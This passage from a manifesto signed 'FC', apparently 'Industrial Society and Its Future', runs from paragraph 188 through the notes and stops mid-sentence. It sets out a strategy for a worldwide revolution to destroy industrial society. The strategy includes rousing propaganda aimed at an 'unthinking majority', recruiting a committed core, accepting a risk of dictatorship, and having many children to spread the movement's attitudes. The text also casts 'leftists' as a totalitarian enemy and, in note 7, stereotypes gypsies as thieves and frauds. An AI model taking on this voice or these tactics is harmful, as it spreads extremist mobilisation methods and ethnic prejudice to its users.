    188. On a second level, the ideology should be propagated in a simplified form that will enable the unthinking majority to see +the conflict of technology vs. nature in unambiguous terms. But even on this second level the ideology should not be expressed +in language that is so cheap, intemperate or irrational that it alienates people of the thoughtful and rational type. Cheap, +intemperate propaganda sometimes achieves impressive short-term gains, but it will be more advantageous in the long run to +keep the loyalty of a small number of intelligently committed people than to arouse the passions of an unthinking, fickle mob +who will change their attitude as soon as someone comes along with a better propaganda gimmick. However, propaganda of +the rabble-rousing type may be necessary when the system is nearing the point of collapse and there is a final struggle between +rival ideologies to determine which will become dominant when the old world-view goes under. +

    + +

    189. Prior to that final struggle, the revolutionaries should not expect to have a majority of people on their side. History is +made by active, determined minorities, not by the majority, which seldom has a clear and consistent idea of what it really +wants. Until the time comes for the final push toward revolution [31], the task of revolutionaries will be less to win the shallow +support of the majority than to build a small core of deeply committed people. As for the majority, it will be enough to make +them aware of the existence of the new ideology and remind them of it frequently; though of course it will be desirable to get +majority support to the extent that this can be done without weakening the core of seriously committed people. +

    + +

    190. Any kind of social conflict helps to destabilize the system, but one should be careful about what kind of conflict one +encourages. The line of conflict should be drawn between the mass of the people and the power-holding elite of industrial +society (politicians, scientists, upper-level business executives, government officials, etc.). It should NOT be drawn between +the revolutionaries and the mass of the people. For example, it would be bad strategy for the revolutionaries to condemn +Americans for their habits of consumption. Instead, the average American should be portrayed as a victim of the advertising +and marketing industry, which has suckered him into buying a lot of junk that he doesn’t need and that is very poor +compensation for his lost freedom. Either approach is consistent with the facts. It is merely a matter of attitude whether you +blame the advertising industry for manipulating the public or blame the public for allowing itself to be manipulated. As a +matter of strategy one should generally avoid blaming the public. +

    + +

    191. One should think twice before encouraging any other social conflict than that between the power-holding elite (which +wields technology) and the general public (over which technology exerts its power). For one thing, other conflicts tend to +distract attention from the important conflicts (between power-elite and ordinary people, between technology and nature); for +another thing, other conflicts may actually tend to encourage technologization, because each side in such a conflict wants to +use technological power to gain advantages over its adversary. This is clearly seen in rivalries between nations. It also appears +in ethnic conflicts within nations. For example, in America many black leaders are anxious to gain power for African +Americans by placing back individuals in the technological power-elite. They want there to be many black government +officials, scientists, corporation executives and so forth. In this way they are helping to absorb the African American subculture +into the technological system. Generally speaking, one should encourage only those social conflicts that can be fitted into the +framework of the conflicts of power-elite vs. ordinary people, technology vs. nature. +

    + +

    192. But the way to discourage ethnic conflict is NOT through militant advocacy of minority rights (see paragraphs 21, 29). +Instead, the revolutionaries should emphasize that although minorities do suffer more or less disadvantage, this disadvantage is +of peripheral significance. Our real enemy is the industrial-technological system, and in the struggle against the system, ethnic +distinctions are of no importance. +

    + +

    193. The kind of revolution we have in mind will not necessarily involve an armed uprising against any government. It may or +may not involve physical violence, but it will not be a POLITICAL revolution. Its focus will be on technology and economics, +not politics. [32] +

    + +

    194. Probably the revolutionaries should even AVOID assuming political power, whether by legal or illegal means, until the +industrial system is stressed to the danger point and has proved itself to be a failure in the eyes of most people. Suppose for +example that some “green” party should win control of the United States Congress in an election. In order to avoid betraying or +watering down their own ideology they would have to take vigorous measures to turn economic growth into economic +shrinkage. To the average man the results would appear disastrous: There would be massive unemployment, shortages of +commodities, etc. Even if the grosser ill effects could be avoided through superhumanly skillful management, still people would +have to begin giving up the luxuries to which they have become addicted. Dissatisfaction would grow, the “green” party would +be voted out of office and the revolutionaries would have suffered a severe setback. For this reason the revolutionaries should +not try to acquire political power until the system has gotten itself into such a mess that any hardships will be seen as resulting +from the failures of the industrial system itself and not from the policies of the revolutionaries. The revolution against +technology will probably have to be a revolution by outsiders, a revolution from below and not from above. +

    + +

    195. The revolution must be international and worldwide. It cannot be carried out on a nation-by-nation basis. Whenever it is +suggested that the United States, for example, should cut back on technological progress or economic growth, people get +hysterical and start screaming that if we fall behind in technology the Japanese will get ahead of us. Holy robots! The world +will fly off its orbit if the Japanese ever sell more cars than we do! (Nationalism is a great promoter of technology.) More +reasonably, it is argued that if the relatively democratic nations of the world fall behind in technology while nasty, dictatorial +nations like China, Vietnam and North Korea continue to progress, eventually the dictators may come to dominate the world. +That is why the industrial system should be attacked in all nations simultaneously, to the extent that this may be possible. True, +there is no assurance that the industrial system can be destroyed at approximately the same time all over the world, and it is +even conceivable that the attempt to overthrow the system could lead instead to the domination of the system by dictators. That +is a risk that has to be taken. And it is worth taking, since the difference between a “democratic” industrial system and one +controlled by dictators is small compared with the difference between an industrial system and a non-industrial one. [33] It +might even be argued that an industrial system controlled by dictators would be preferable, because dictator-controlled systems +usually have proved inefficient, hence they are presumably more likely to break down. Look at Cuba. +

    + +

    196. Revolutionaries might consider favoring measures that tend to bind the world economy into a unified whole. Free trade +agreements like NAFTA and GATT are probably harmful to the environment in the short run, but in the long run they may +perhaps be advantageous because they foster economic interdependence between nations. It will be easier to destroy the +industrial system on a worldwide basis if the world economy is so unified that its breakdown in any one major nation will lead +to its breakdown in all industrialized nations. +

    + +

    197. Some people take the line that modern man has too much power, too much control over nature; they argue for a more +passive attitude on the part of the human race. At best these people are expressing themselves unclearly, because they fail to +distinguish between power for LARGE ORGANIZATIONS and power for INDIVIDUALS and SMALL GROUPS. It is a +mistake to argue for powerlessness and passivity, because people NEED power. Modern man as a collective entity – that is, +the industrial system – has immense power over nature, and we (FC) regard this as evil. But modern INDIVIDUALS and +SMALL GROUPS OF INDIVIDUALS have far less power than primitive man ever did. Generally speaking, the vast power of +“modern man” over nature is exercised not by individuals or small groups but by large organizations. To the extent that the +average modern INDIVIDUAL can wield the power of technology, he is permitted to do so only within narrow limits and only +under the supervision and control of the system. (You need a license for everything and with the license come rules and +regulations.) The individual has only those technological powers with which the system chooses to provide him. His +PERSONAL power over nature is slight. +

    + +

    198. Primitive INDIVIDUALS and SMALL GROUPS actually had considerable power over nature; or maybe it would be +better to say power WITHIN nature. When primitive man needed food he knew how to find and prepare edible roots, how to +track game and take it with homemade weapons. He knew how to protect himself from heat cold, rain, dangerous animals, etc. +But primitive man did relatively little damage to nature because the COLLECTIVE power of primitive society was negligible +compared to the COLLECTIVE power of industrial society. +

    + +

    199. Instead of arguing for powerlessness and passivity, one should argue that the power of the INDUSTRIAL SYSTEM +should be broken, and that this will greatly INCREASE the power and freedom of INDIVIDUALS and SMALL GROUPS. +

    + +

    200. Until the industrial system has been thoroughly wrecked, the destruction of that system must be the revolutionaries’ +ONLY goal. Other goals would distract attention and energy from the main goal. More importantly if the revolutionaries +permit themselves to have any other goal than the destruction of technology, they will be tempted to use technology as a tool +for reaching that other goal. If they give in to that temptation, they will fall right back into the technological trap, because +modern technology is a unified, tightly organized system, so that, in order to retain SOME technology, one finds oneself +obliged to retain MOST technology, hence one ends up sacrificing only token amounts of technology. +

    + +

    201. Suppose for example that the revolutionaries took “social justice” as a goal. Human nature being what it is, social justice +would not come about spontaneously; it would have to be enforced. In order to enforce it the revolutionaries would have to +retain central organization and control. For that they would need rapid long-distance transportation and communication, and +therefore all the technology needed to support the transportation and communication systems. To feed and clothe poor people +they would have to use agricultural and manufacturing technology. And so forth. So that the attempt to insure social justice +would force them to retain most parts of the technological system. Not that we have anything against social justice, but it must +not be allowed to interfere with the effort to get rid of the technological system. +

    + +

    202. It would be hopeless for revolutionaries to try to attack the system without using SOME modern technology. If nothing +else they must use the communications media to spread their message. But they should use modern technology for only ONE +purpose: to attack the technological system. +

    + +

    203. Imagine an alcoholic sitting with a barrel of wine in front of him. Suppose he starts saying to himself, “Wine isn’t bad for +you if used in moderation. Why, they say small amounts of wine are even good for you! It won’t do me any harm if I take just +one little drink....” Well you know what is going to happen. Never forget that the human race with technology is just like an +alcoholic with a barrel of wine. +

    + +

    204. Revolutionaries should have as many children as they can. There is strong scientific evidence that social attitudes are to a +significant extent inherited. No one suggests that a social attitude is a direct outcome of a person’s genetic constitution, but it +appears that personality traits are partly inherited and that certain personality traits tend, within the context of our society, to +make a person more likely to hold this or that social attitude. Objections to these findings have been raised, but the objections +are feeble and seem to be ideologically motivated. In any event, no one denies that children tend on the average to hold social +attitudes similar to those of their parents. From our point of view it doesn’t matter all that much whether the attitudes are +passed on genetically or through childhood training. In either case they ARE passed on. +

    + +

    205. The trouble is that many of the people who are inclined to rebel against the industrial system are also concerned about the +population problems, hence they are apt to have few or no children. In this way they may be handing the world over to the sort +of people who support or at least accept the industrial system. To insure the strength of the next generation of revolutionaries +the present generation should reproduce itself abundantly. In doing so they will be worsening the population problem only +slightly. And the important problem is to get rid of the industrial system, because once the industrial system is gone the world’s +population necessarily will decrease (see paragraph 167); whereas, if the industrial system survives, it will continue developing +new techniques of food production that may enable the world’s population to keep increasing almost indefinitely. +

    + +

    206. With regard to revolutionary strategy, the only points on which we absolutely insist are that the single overriding goal +must be the elimination of modern technology, and that no other goal can be allowed to compete with this one. For the rest, +revolutionaries should take an empirical approach. If experience indicates that some of the recommendations made in the +foregoing paragraphs are not going to give good results, then those recommendations should be discarded. +

    + +

    Two Kinds of Technology

    + +

    207. An argument likely to be raised against our proposed revolution is that it is bound to fail, because (it is claimed) +throughout history technology has always progressed, never regressed, hence technological regression is impossible. But this +claim is false. +

    + +

    208. We distinguish between two kinds of technology, which we will call small-scale technology and organization-dependent +technology. Small-scale technology is technology that can be used by small-scale communities without outside assistance. +Organization-dependent technology is technology that depends on large-scale social organization. We are aware of no +significant cases of regression in small-scale technology. But organization-dependent technology DOES regress when the +social organization on which it depends breaks down. Example: When the Roman Empire fell apart the Romans’ small-scale +technology survived because any clever village craftsman could build, for instance, a water wheel, any skilled smith could +make steel by Roman methods, and so forth. But the Romans’ organization- dependent technology DID regress. Their +aqueducts fell into disrepair and were never rebuilt. Their techniques of road construction were lost. The Roman system of +urban sanitation was forgotten, so that not until rather recent times did the sanitation of European cities equal that of Ancient +Rome. +

    + +

    209. The reason why technology has seemed always to progress is that, until perhaps a century or two before the Industrial +Revolution, most technology was small-scale technology. But most of the technology developed since the Industrial +Revolution is organization-dependent technology. Take the refrigerator for example. Without factory-made parts or the +facilities of a postindustrial machine shop it would be virtually impossible for a handful of local craftsmen to build a +refrigerator. If by some miracle they did succeed in building one it would be useless to them without a reliable source of +electric power. So they would have to dam a stream and build a generator. Generators require large amounts of copper wire. +Imagine trying to make that wire without modern machinery. And where would they get a gas suitable for refrigeration? It +would be much easier to build an icehouse or preserve food by drying or picking, as was done before the invention of the +refrigerator. +

    + +

    210. So it is clear that if the industrial system were once thoroughly broken down, refrigeration technology would quickly be +lost. The same is true of other organization-dependent technology. And once this technology had been lost for a generation or +so it would take centuries to rebuild it, just as it took centuries to build it the first time around. Surviving technical books would +be few and scattered. An industrial society, if built from scratch without outside help, can only be built in a series of stages: +You need tools to make tools to make tools to make tools ... . A long process of economic development and progress in social +organization is required. And, even in the absence of an ideology opposed to technology, there is no reason to believe that +anyone would be interested in rebuilding industrial society. The enthusiasm for “progress” is a phenomenon peculiar to the +modern form of society, and it seems not to have existed prior to the 17th century or thereabouts. +

    + +

    211. In the late Middle Ages there were four main civilizations that were about equally “advanced”: Europe, the Islamic world, +India, and the Far East (China, Japan, Korea). Three of those civilizations remained more or less stable, and only Europe +became dynamic. No one knows why Europe became dynamic at that time; historians have their theories but these are only +speculation. At any rate, it is clear that rapid development toward a technological form of society occurs only under special +conditions. So there is no reason to assume that a long-lasting technological regression cannot be brought about. +

    + +

    212. Would society EVENTUALLY develop again toward an industrial-technological form? Maybe, but there is no use in +worrying about it, since we can’t predict or control events 500 or 1,000 years in the future. Those problems must be dealt with +by the people who will live at that time. +

    + +

    The Danger of Leftism

    + +

    213. Because of their need for rebellion and for membership in a movement, leftists or persons of similar psychological type +often are attracted to a rebellious or activist movement whose goals and membership are not initially leftist. The resulting +influx of leftish types can easily turn a non-leftist movement into a leftist one, so that leftist goals replace or distort the original +goals of the movement. +

    + +

    214. To avoid this, a movement that exalts nature and opposes technology must take a resolutely anti-leftist stance and must +avoid all collaboration with leftists. Leftism is in the long run inconsistent with wild nature, with human freedom and with the +elimination of modern technology. Leftism is collectivist; it seeks to bind together the entire world (both nature and the human +race) into a unified whole. But this implies management of nature and of human life by organized society, and it requires +advanced technology. You can’t have a united world without rapid transportation and communication, you can’t make all +people love one another without sophisticated psychological techniques, you can’t have a “planned society” without the +necessary technological base. Above all, leftism is driven by the need for power, and the leftist seeks power on a collective +basis, through identification with a mass movement or an organization. Leftism is unlikely ever to give up technology, because +technology is too valuable a source of collective power. +

    + +

    215. The anarchist [34] too seeks power, but he seeks it on an individual or small-group basis; he wants individuals and small +groups to be able to control the circumstances of their own lives. He opposes technology because it makes small groups +dependent on large organizations. +

    + +

    216. Some leftists may seem to oppose technology, but they will oppose it only so long as they are outsiders and the +technological system is controlled by non-leftists. If leftism ever becomes dominant in society, so that the technological system +becomes a tool in the hands of leftists, they will enthusiastically use it and promote its growth. In doing this they will be +repeating a pattern that leftism has shown again and again in the past. When the Bolsheviks in Russia were outsiders, they +vigorously opposed censorship and the secret police, they advocated self-determination for ethnic minorities, and so forth; but +as soon as they came into power themselves, they imposed a tighter censorship and created a more ruthless secret police than +any that had existed under the tsars, and they oppressed ethnic minorities at least as much as the tsars had done. In the United +States, a couple of decades ago when leftists were a minority in our universities, leftist professors were vigorous proponents of +academic freedom, but today, in those of our universities where leftists have become dominant, they have shown themselves +ready to take away from everyone else’s academic freedom. (This is “political correctness.”) The same will happen with leftists +and technology: They will use it to oppress everyone else if they ever get it under their own control. +

    + +

    217. In earlier revolutions, leftists of the most power-hungry type, repeatedly, have first cooperated with non-leftist +revolutionaries, as well as with leftists of a more libertarian inclination, and later have double-crossed them to seize power for +themselves. Robespierre did this in the French Revolution, the Bolsheviks did it in the Russian Revolution, the communists did +it in Spain in 1938 and Castro and his followers did it in Cuba. Given the past history of leftism, it would be utterly foolish for +non-leftist revolutionaries today to collaborate with leftists. +

    + +

    218. Various thinkers have pointed out that leftism is a kind of religion. Leftism is not a religion in the strict sense because +leftist doctrine does not postulate the existence of any supernatural being. But, for the leftist, leftism plays a psychological role +much like that which religion plays for some people. The leftist NEEDS to believe in leftism; it plays a vital role in his +psychological economy. His beliefs are not easily modified by logic or facts. He has a deep conviction that leftism is morally +Right with a capital R, and that he has not only a right but a duty to impose leftist morality on everyone. (However, many of +the people we are referring to as “leftists” do not think of themselves as leftists and would not describe their system of beliefs +as leftism. We use the term “leftism” because we don’t know of any better words to designate the spectrum of related creeds +that includes the feminist, gay rights, political correctness, etc. movements, and because these movements have a strong +affinity with the old left. See paragraphs 227-230.) +

    + +

    219. Leftism is a totalitarian force. Wherever leftism is in a position of power it tends to invade every private corner and force +every thought into a leftist mold. In part this is because of the quasi-religious character of leftism; everything contrary to leftist +beliefs represents Sin. More importantly, leftism is a totalitarian force because of the leftists’ drive for power. The leftist seeks +to satisfy his need for power through identification with a social movement and he tries to go through the power process by +helping to pursue and attain the goals of the movement (see paragraph 83). But no matter how far the movement has gone in +attaining its goals the leftist is never satisfied, because his activism is a surrogate activity (see paragraph 41). That is, the +leftist’s real motive is not to attain the ostensible goals of leftism; in reality he is motivated by the sense of power he gets from +struggling for and then reaching a social goal. [35] Consequently the leftist is never satisfied with the goals he has already +attained; his need for the power process leads him always to pursue some new goal. The leftist wants equal opportunities for +minorities. When that is attained he insists on statistical equality of achievement by minorities. And as long as anyone harbors +in some corner of his mind a negative attitude toward some minority, the leftist has to re-educate him. And ethnic minorities +are not enough; no one can be allowed to have a negative attitude toward homosexuals, disabled people, fat people, old people, +ugly people, and on and on and on. It’s not enough that the public should be informed about the hazards of smoking; a warning +has to be stamped on every package of cigarettes. Then cigarette advertising has to be restricted if not banned. The activists +will never be satisfied until tobacco is outlawed, and after that it will be alcohol, then junk food, etc. Activists have fought +gross child abuse, which is reasonable. But now they want to stop all spanking. When they have done that they will want to ban +something else they consider unwholesome, then another thing and then another. They will never be satisfied until they have +complete control over all child rearing practices. And then they will move on to another cause. +

    + +

    220. Suppose you asked leftists to make a list of ALL the things that were wrong with society, and then suppose you instituted +EVERY social change that they demanded. It is safe to say that within a couple of years the majority of leftists would find +something new to complain about, some new social “evil” to correct because, once again, the leftist is motivated less by +distress at society’s ills than by the need to satisfy his drive for power by imposing his solutions on society. +

    + +

    221. Because of the restrictions placed on their thoughts and behavior by their high level of socialization, many leftists of the +oversocialized type cannot pursue power in the ways that other people do. For them the drive for power has only one morally +acceptable outlet, and that is in the struggle to impose their morality on everyone. +

    + +

    222. Leftists, especially those of the oversocialized type, are True Believers in the sense of Eric Hoffer’s book, “The True +Believer.” But not all True Believers are of the same psychological type as leftists. Presumably a true-believing Nazi, for +instance, is very different psychologically from a true-believing leftist. Because of their capacity for single-minded devotion to +a cause, True Believers are a useful, perhaps a necessary, ingredient of any revolutionary movement. This presents a problem +with which we must admit we don’t know how to deal. We aren’t sure how to harness the energies of the True Believer to a +revolution against technology. At present all we can say is that no True Believer will make a safe recruit to the revolution +unless his commitment is exclusively to the destruction of technology. If he is committed also to another ideal, he may want to +use technology as a tool for pursuing that other ideal (see paragraphs 220, 221). +

    + +

    223. Some readers may say, “This stuff about leftism is a lot of crap. I know John and Jane who are leftish types and they don’t +have all these totalitarian tendencies.” It’s quite true that many leftists, possibly even a numerical majority, are decent people +who sincerely believe in tolerating others’ values (up to a point) and wouldn’t want to use high-handed methods to reach their +social goals. Our remarks about leftism are not meant to apply to every individual leftist but to describe the general character of +leftism as a movement. And the general character of a movement is not necessarily determined by the numerical proportions of +the various kinds of people involved in the movement. +

    + +

    224. The people who rise to positions of power in leftist movements tend to be leftists of the most power-hungry type, because +power-hungry people are those who strive hardest to get into positions of power. Once the power-hungry types have captured +control of the movement, there are many leftists of a gentler breed who inwardly disapprove of many of the actions of the +leaders, but cannot bring themselves to oppose them. They NEED their faith in the movement, and because they cannot give up +this faith they go along with the leaders. True, SOME leftists do have the guts to oppose the totalitarian tendencies that emerge, +but they generally lose, because the power-hungry types are better organized, are more ruthless and Machiavellian and have +taken care to build themselves a strong power base. +

    + +

    225. These phenomena appeared clearly in Russia and other countries that were taken over by leftists. Similarly, before the +breakdown of communism in the, USSR, leftish types in the West would, seldom criticize that country. If prodded they would +admit that the USSR did many wrong things, but then they would try to find excuses for the communists and begin talking +about the faults of the West. They always opposed Western military resistance to communist aggression. Leftish types all over +the world vigorously protested the U.S. military action in Vietnam, but when the USSR invaded Afghanistan they did nothing. +Not that they approved of the Soviet actions; but because of their leftist faith, they just couldn’t bear to put themselves in +opposition to communism. Today, in those of our universities where “political correctness” has become dominant, there are +probably many leftish types who privately disapprove of the suppression of academic freedom, but they go along with it +anyway. +

    + +

    226. Thus the fact that many individual leftists are personally mild and fairly tolerant people by no means prevents leftism as a +whole form having a totalitarian tendency. +

    + +

    227. Our discussion of leftism has a serious weakness. It is still far from clear what we mean by the word “leftist.” There +doesn’t seem to be much we can do about this. Today leftism is fragmented into a whole spectrum of activist movements. Yet +not all activist movements are leftist, and some activist movements (e.g. radical environmentalism) seem to include both +personalities of the leftist type and personalities of thoroughly un-leftist types who ought to know better than to collaborate +with leftists. Varieties of leftists fade out gradually into varieties of non-leftists and we ourselves would often be hard-pressed +to decide whether a given individual is or is not a leftist. To the extent that it is defined at all, our conception of leftism is +defined by the discussion of it that we have given in this article, and we can only advise the reader to use his own judgment in +deciding who is a leftist. +

    + +

    228. But it will be helpful to list some criteria for diagnosing leftism. These criteria cannot be applied in a cut and dried +manner. Some individuals may meet some of the criteria without being leftists, some leftists may not meet any of the criteria. +Again, you just have to use your judgment. +

    + +

    229. The leftist is oriented toward large-scale collectivism. He emphasizes the duty of the individual to serve society and the +duty of society to take care of the individual. He has a negative attitude toward individualism. He often takes a moralistic tone. +He tends to be for gun control, for sex education and other psychologically “enlightened” educational methods, for social +planning, for affirmative action, for multiculturalism. He tends to identify with victims. He tends to be against competition +and against violence, but he often finds excuses for those leftists who do commit violence. He is fond of using the common +catch-phrases of the left, like “racism,” “sexism,” “homophobia,” “capitalism,” “imperialism,” “neocolonialism,” “genocide,” +“social change,” “social justice,” “social responsibility.” Maybe the best diagnostic trait of the leftist is his tendency to sympathize with the following movements: feminism, gay rights, ethnic rights, disability rights, animal rights, political +correctness. Anyone who strongly sympathizes with ALL of these movements is almost certainly a leftist. [36] +

    + +

    230. The more dangerous leftists, that is, those who are most power-hungry, are often characterized by arrogance or by a +dogmatic approach to ideology. However, the most dangerous leftists of all may be certain oversocialized types who avoid +irritating displays of aggressiveness and refrain from advertising their leftism, but work quietly and unobtrusively to promote +collectivist values, “enlightened” psychological techniques for socializing children, dependence of the individual on the +system, and so forth. These crypto-leftists (as we may call them) approximate certain bourgeois types as far as practical action +is concerned, but differ from them in psychology, ideology and motivation. The ordinary bourgeois tries to bring people under +control of the system in order to protect his way of life, or he does so simply because his attitudes are conventional. The +crypto-leftist tries to bring people under control of the system because he is a True Believer in a collectivist ideology. The +crypto-leftist is differentiated from the average leftist of the oversocialized type by the fact that his rebellious impulse is +weaker and he is more securely socialized. He is differentiated from the ordinary well-socialized bourgeois by the fact that +there is some deep lack within him that makes it necessary for him to devote himself to a cause and immerse himself in a +collectivity. And maybe his (well-sublimated) drive for power is stronger than that of the average bourgeois. + +

    + +

    Final Note

    + +

    231. Throughout this article we’ve made imprecise statements and statements that ought to have had all sorts of qualifications +and reservations attached to them; and some of our statements may be flatly false. Lack of sufficient information and the need +for brevity made it impossible for us to formulate our assertions more precisely or add all the necessary qualifications. And of +course in a discussion of this kind one must rely heavily on intuitive judgment, and that can sometimes be wrong. So we don’t +claim that this article expresses more than a crude approximation to the truth. +

    + +

    232. All the same, we are reasonably confident that the general outlines of the picture we have painted here are roughly correct. +Just one possible weak point needs to be mentioned. We have portrayed leftism in its modern form as a phenomenon peculiar +to our time and as a symptom of the disruption of the power process. But we might possibly be wrong about this. +Oversocialized types who try to satisfy their drive for power by imposing their morality on everyone have certainly been +around for a long time. But we THINK that the decisive role played by feelings of inferiority, low self-esteem, powerlessness, +identification with victims by people who are not themselves victims, is a peculiarity of modern leftism. Identification with +victims by people not themselves victims can be seen to some extent in 19th century leftism and early Christianity but as far as +we can make out, symptoms of low self-esteem, etc., were not nearly so evident in these movements, or in any other +movements, as they are in modern leftism. But we are not in a position to assert confidently that no such movements have +existed prior to modern leftism. This is a significant question to which historians ought to give their attention. +

    + +

    Notes

    + +
      +
    1. 1. (Paragraph 19) We are asserting that ALL, or even most, bullies and ruthless competitors suffer from feelings of inferiority. +

    2. + +
    3. 2. (Paragraph 25) During the Victorian period many oversocialized people suffered from serious psychological problems as a +result of repressing or trying to repress their sexual feelings. Freud apparently based his theories on people of this type. Today +the focus of socialization has shifted from sex to aggression. +

    4. + +
    5. 3. (Paragraph 27) Not necessarily including specialists in engineering or the “hard” sciences. +

    6. + +
    7. 4. (Paragraph 28) There are many individuals of the middle and upper classes who resist some of these values, but usually their +resistance is more or less covert. Such resistance appears in the mass media only to a very limited extent. The main thrust of +propaganda in our society is in favor of the stated values. The main reason why these values have become, so to speak, the +official values of our society is that they are useful to the industrial system. Violence is discouraged because it disrupts the +functioning of the system. Racism is discouraged because ethnic conflicts also disrupt the system, and discrimination wastes +the talents of minority-group members who could be useful to the system. Poverty must be “cured” because the underclass +causes problems for the system and contact with the underclass lowers the morale of the other classes. Women are encouraged +to have careers because their talents are useful to the system and, more importantly, because by having regular jobs women +become better integrated into the system and tied directly to it rather than to their families. This helps to weaken family solidarity. (The leaders of the system say they want to strengthen the family, but they really mean is that they want the family +to serve as an effective tool for socializing children in accord with the needs of the system. We argue in paragraphs 51, 52 that +the system cannot afford to let the family or other small-scale social groups be strong or autonomous.) +

    8. + +
    9. 5. (Paragraph 42) It may be argued that the majority of people don’t want to make their own decisions but want leaders to do +their thinking for them. There is an element of truth in this. People like to make their own decisions in small matters, but +making decisions on difficult, fundamental questions requires facing up to psychological conflict, and most people hate +psychological conflict. Hence they tend to lean on others in making difficult decisions. But it does not follow that they like to +have decisions imposed upon them without having any opportunity to influence those decisions. The majority of people are +natural followers, not leaders, but they like to have direct personal access to their leaders, they want to be able to influence the +leaders and participate to some extent in making even the difficult decisions. At least to that degree they need autonomy. +

    10. + +
    11. 6. (Paragraph 44) Some of the symptoms listed are similar to those shown by caged animals. To explain how these symptoms +arise from deprivation with respect to the power process: common-sense understanding of human nature tells one that lack of +goals whose attainment requires effort leads to boredom and that boredom, long continued, often leads eventually to +depression. Failure to attain goals leads to frustration and lowering of self-esteem. Frustration leads to anger, anger to +aggression, often in the form of spouse or child abuse. It has been shown that long-continued frustration commonly leads to +depression and that depression tends to cause guilt, sleep disorders, eating disorders and bad feelings about oneself. Those who +are tending toward depression seek pleasure as an antidote; hence insatiable hedonism and excessive sex, with perversions as a +means of getting new kicks. Boredom too tends to cause excessive pleasure-seeking since, lacking other goals, people often use +pleasure as a goal. See accompanying diagram. +The foregoing is a simplification. Reality is more complex, and of course, deprivation with respect to the power process is not +the ONLY cause of the symptoms described. By the way, when we mention depression we do not necessarily mean depression +that is severe enough to be treated by a psychiatrist. Often only mild forms of depression are involved. And when we speak of +goals we do not necessarily mean long-term, thought-out goals. For many or most people through much of human history, the +goals of a hand-to-mouth existence (merely providing oneself and one’s family with food from day to day) have been quite +sufficient. +

    12. + +
    13. 7. (Paragraph 52) A partial exception may be made for a few passive, inward-looking groups, such as the Amish, which have +little effect on the wider society. Apart from these, some genuine small-scale communities do exist in America today. For +instance, youth gangs and “cults.” Everyone regards them as dangerous, and so they are, because the members of these groups +are loyal primarily to one another rather than to the system, hence the system cannot control them. Or take the gypsies. The +gypsies commonly get away with theft and fraud because their loyalties are such that they can always get other gypsies to give +testimony that “proves” their innocence. Obviously the system would be in serious trouble if too many people belonged to such +groups. Some of the early-20th century Chinese thinkers who were concerned with modernizing China recognized the +necessity breaking down small-scale social groups such as the family: “(According to Sun Yat-sen) the Chinese people needed +a new surge of patriotism, which would lead to a transfer of loyalty from the family to the state.... (According to Li Huang) +traditional attachments, particularly to the family had to be abandoned if nationalism were to develop in China.” (Chester C. +Tan, “Chinese Political Thought in the Twentieth Century,” page 125, page 297.) +

    14. + +
    15. 8. (Paragraph 56) Yes, we know that 19th century America had its problems, and serious ones, but for the sake of brevity we +have to express ourselves in simplified terms. +

    16. + +
    17. 9. (Paragraph 61) We leave aside the “underclass.” We are speaking of the mainstream. +

    18. + +
    19. 10. (Paragraph 62) Some social scientists, educators, “mental health” professionals and the like are doing their best to push the +social drives into group 1 by trying to see to it that everyone has a satisfactory social life. +

    20. + +
    21. 11. (Paragraphs 63, 82) Is the drive for endless material acquisition really an artificial creation of the advertising and marketing +industry? Certainly there is no innate human drive for material acquisition. There have been many cultures in which people +have desired little material wealth beyond what was necessary to satisfy their basic physical needs (Australian aborigines, +traditional Mexican peasant culture, some African cultures). On the other hand there have also been many pre-industrial +cultures in which material acquisition has played an important role. So we can’t claim that today’s acquisition-oriented culture +is exclusively a creation of the advertising and marketing industry. But it is clear that the advertising and marketing industry +has had an important part in creating that culture. The big corporations that spend millions on advertising wouldn’t be spending +that kind of money without solid proof that they were getting it back in increased sales. One member of FC met a sales +manager a couple of years ago who was frank enough to tell him, “Our job is to make people buy things they don’t want and +don’t need.” He then described how an untrained novice could present people with the facts about a product, and make no sales at all, while a trained and experienced professional salesman would make lots of sales to the same people. This shows that +people are manipulated into buying things they don’t really want. +

    22. + +
    23. 12. (Paragraph 64) The problem of purposelessness seems to have become less serious during the last 15 years or so, because +people now feel less secure physically and economically than they did earlier, and the need for security provides them with a +goal. But purposelessness has been replaced by frustration over the difficulty of attaining security. We emphasize the problem +of purposelessness because the liberals and leftists would wish to solve our social problems by having society guarantee +everyone’s security; but if that could be done it would only bring back the problem of purposelessness. The real issue is not +whether society provides well or poorly for people’s security; the trouble is that people are dependent on the system for their +security rather than having it in their own hands. This, by the way, is part of the reason why some people get worked up about +the right to bear arms; possession of a gun puts that aspect of their security in their own hands. +

    24. + +
    25. 13. (Paragraph 66) Conservatives’ efforts to decrease the amount of government regulation are of little benefit to the average +man. For one thing, only a fraction of the regulations can be eliminated because most regulations are necessary. For another +thing, most of the deregulation affects business rather than the average individual, so that its main effect is to take power from +the government and give it to private corporations. What this means for the average man is that government interference in his +life is replaced by interference from big corporations, which may be permitted, for example, to dump more chemicals that get +into his water supply and give him cancer. The conservatives are just taking the average man for a sucker, exploiting his +resentment of Big Government to promote the power of Big Business. +

    26. + +
    27. 14. (Paragraph 73) When someone approves of the purpose for which propaganda is being used in a given case, he generally +calls it “education” or applies to it some similar euphemism. But propaganda is propaganda regardless of the purpose for which +it is used. +

    28. + +
    29. 15. (Paragraph 83) We are not expressing approval or disapproval of the Panama invasion. We only use it to illustrate a point. +

    30. + +
    31. 16. (Paragraph 95) When the American colonies were under British rule there were fewer and less effective legal guarantees of +freedom than there were after the American Constitution went into effect, yet there was more personal freedom in preindustrial America, both before and after the War of Independence, than there was after the Industrial Revolution took hold in +this country. We quote from “Violence in America: Historical and Comparative Perspectives,” edited by Hugh Davis Graham +and Ted Robert Gurr, Chapter 12 by Roger Lane, pages 476-478: “The progressive heightening of standards of propriety, and +with it the increasing reliance on official law enforcement (in l9th century America) ... were common to the whole society.... +The change in social behavior is so long term and so widespread as to suggest a connection with the most fundamental of +contemporary social processes; that of industrial urbanization itself....”Massachusetts in 1835 had a population of some +660,940, 81 percent rural, overwhelmingly pre-industrial and native born. It’s citizens were used to considerable personal +freedom. Whether teamsters, farmers or artisans, they were all accustomed to setting their own schedules, and the nature of +their work made them physically independent of each other.... Individual problems, sins or even crimes, were not generally +cause for wider social concern....” But the impact of the twin movements to the city and to the factory, both just gathering force +in 1835, had a progressive effect on personal behavior throughout the 19th century and into the 20th. The factory demanded +regularity of behavior, a life governed by obedience to the rhythms of clock and calendar, the demands of foreman and +supervisor. In the city or town, the needs of living in closely packed neighborhoods inhibited many actions previously +unobjectionable. Both blue- and white-collar employees in larger establishments were mutually dependent on their fellows; as +one man’s 